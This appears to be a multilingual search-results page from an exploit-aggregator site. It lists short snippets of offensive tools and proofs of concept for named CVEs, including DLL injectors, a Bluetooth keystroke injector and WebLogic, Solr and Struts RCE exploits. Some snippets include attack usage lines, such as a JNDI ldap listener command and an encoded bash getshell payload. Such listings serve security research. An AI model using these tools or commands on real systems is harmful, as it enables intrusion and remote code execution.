479508 matches found
blueXploit
blueXploit Video di blueXploit blueXploit è la mia proof-of-concept personale che riproduce CVE-2023-45866 , la vulnerabilità di iniezione dei tasti Bluetooth scoperta da Marc Newlin. Abusa di un difetto nel protocollo Bluetooth per iniettare sequenze di tasti in un dispositivo target senza pairi...
Kernel_VADInjector
Driver DLL Injector Driver DLL Injector Descrizione Driver DLL Injector è un potente strumento che consente agli utenti di caricare i driver di loro scelta utilizzando il mapper preferito. Sfruttando le capacità di un caricatore di driver non firmato, come KDmapper, questo injector è stato creato...
RemoteDLLInjector
Introduzione Questo è uno strumento che può essere utilizzato per l'iniezione di DLL: Dal momento in cui RemoteDLLInjector viene eseguito, fornirà tutti i passaggi che svolge per ottenere l'iniezione di DLL. Se la DLL viene iniettata con successo, restituirà una sessione meterpreter con i privile...
CVE-2020-14645
CVE-2020-14645 Utilizzo Innanzitutto, utilizza NDI-Injection-Exploit per metterti in ascolto e genera un indirizzo ldap. java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget e -RMI sono obbligatori, per https è possibile utilizzare il parametro...
Weblogic-CVE-2023-21839
Weblogic-CVE-2023-21839 CVE-2023-21839 — uno strumento basato sul PoC pubblico disponibile in rete. Versioni interessate 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 Utilizzo java -jar IPobiettivo:porta indirizzoldap Strumento consigliato: https://github.com/WhiteHSBG/JNDIExploit Disclaimer Questo strumento ...
CVE-2025-53547-POC
CVE-2025-53547 POC Dies ist ein PoC für CVE-2025-53547 Chart.lock verknüpft die Testdatei mit /tmp/1.txt /tmp/1.txt injiziert einen Befehl, der /tmp/2.txt erstellt. In einer realen Produktumgebung können Sie die Chart.lock-Link-Datei ändern, um jeden gewünschten Befehl zu injizieren, wie zum...
CVE-2023-6654
CVE-2023-6654 PHPEMS Cookie-Deserialisierungsschwachstelle. Durch Ausnutzung dieser Schwachstelle können SQL-Anweisungen durch Deserialisierung geändert werden, und durch SQL-Injection können Passwörter oder Berechtigungen beliebiger vorhandener Benutzer geändert werden. Das...
CVE-2021-40374
CVE-2021-40374 - Cross-site scripting memorizzato in OpenEyes 3.5.1 Descrizione È stata identificata una vulnerabilità di cross-site scripting XSS memorizzato in OpenEyes 3.5.1, sviluppato dalla Apperta Foundation. Una gestione impropria dell'input nel parametro 'Address1' ha consentito l'iniezio...
process-injection-playground
Linux Process Injection Playground Una raccolta completa di tecniche di process injection per Linux, che dimostra vari metodi per iniettare codice in processi in esecuzione. Questi esempi sono pensati per scopi educativi, ricerca sulla sicurezza e comprensione della manipolazione dei processi Lin...
MAL-014
MAL-014: Lettura Arbitraria di File Autenticata in VMware vCenter Server Il componente API "com.vmware.appliance.version1.system.update.set" è vulnerabile a un attacco di iniezione di flag che può essere sfruttato con il plugin "com.vmware.showlog" per leggere file arbitrari come utente "root" su...
MAGNOLIA-8348
MAGNOLIA-8348: FreeMarker Restriction Bypass 3 no Magnolia CMS Um problema no FreeMarker Filter do Magnolia CMS v6.2.17 e versões anteriores permite que atacantes contornem restrições de segurança e executem código arbitrário, leiam/escrevam/movam/copiem/excluam arquivos arbitrários ou lancem...
CVE-2025-24893
CVE-2025-24893 root@kitploit: Exploit Title: XWiki 15.10.10 - Unauthenticated Remote Code Execution Date: 09/08/2025 Exploit Author: D3Ext Vendor Homepage: https://www.xwiki.org/ Software Link: https://github.com/xwiki/xwiki-platform Version: 15.10.10 Tested on: Kali Linux 2025 CVE: CVE-2025-2489...
CVE-2015-10141
CVE-2015-10141 root@kitploit: Exploit Title: xdebug Unauthenticated Command Execution Exploit Author: D3Ext Vendor Homepage: https://xdebug.org/ Sofware Link: https://pecl.php.net/package/xdebug/2.5.5/windows Version: 2.5.5 Tested on: Kali Linux 2025 CVE: CVE-2015-10141 Spiegazione Una...
OFBiz-Attack
OFBiz-Attack Uma ferramenta para ataque CVE-2023-49070/CVE-2023-51467 Ambiente de Teste vulhub/ofbiz:18.12.09 Uso Iniciar root@kitploit: java -jar OFBiz-Attack.jar Há três módulos, que são: Detecção de vulnerabilidade Apenas insira a URL alvo, sem necessidade de adicionar rotas extras, caso...
CVE-2025-27591
CVE-2025-27591 descrizione In pratica il tool below consente la modifica universale del proprio file di log, portando a un’escalation dei privilegi a root. dettagli. Il file di log creato da below è scrivibile da tutti, permettendo a qualsiasi utente di modificarlo o sostituirlo. Un attaccante pu...
CVE-2020-17530
CVE-2020-17530 POC rapido per CVE-2020-17530. In Apache Struts versioni 2.0.0 - 2.5.25, una valutazione forzata di Object Graph Navigational Language OGNL sull'input grezzo dell'utente negli attributi dei tag può portare all'esecuzione remota di codice RCE. root@kitploit: $ python CVE-2020-17530....
solr_rce
Apache Solr RCE über Velocity-Vorlage Python-Nutzung: python solrrce.py http://x.x.x.x:8983 command getshell-Payload kodieren http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Solr-Einführung Solr ist die Open-Source-Enterprise-Suchplattform de...
CVE-2019-15107_detection
CVE-2019-15107detection Dieses Skript stellt fest, ob ein Server eine angreifbare Version von Webmin ausführt. Webmin =1.920 Befehlseinschleusung - CVE-2019-15107...
CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE
CVE-2019-3980 – OpenNetAdmin 18.1.1 Esecuzione Remota di Codice ⚠️ Disclaimer Questo repository è destinato esclusivamente a scopi educativi e di ricerca. Le informazioni e il codice qui forniti possono essere utilizzati in ambienti controllati , come macchine di laboratorio private. L'uso non...
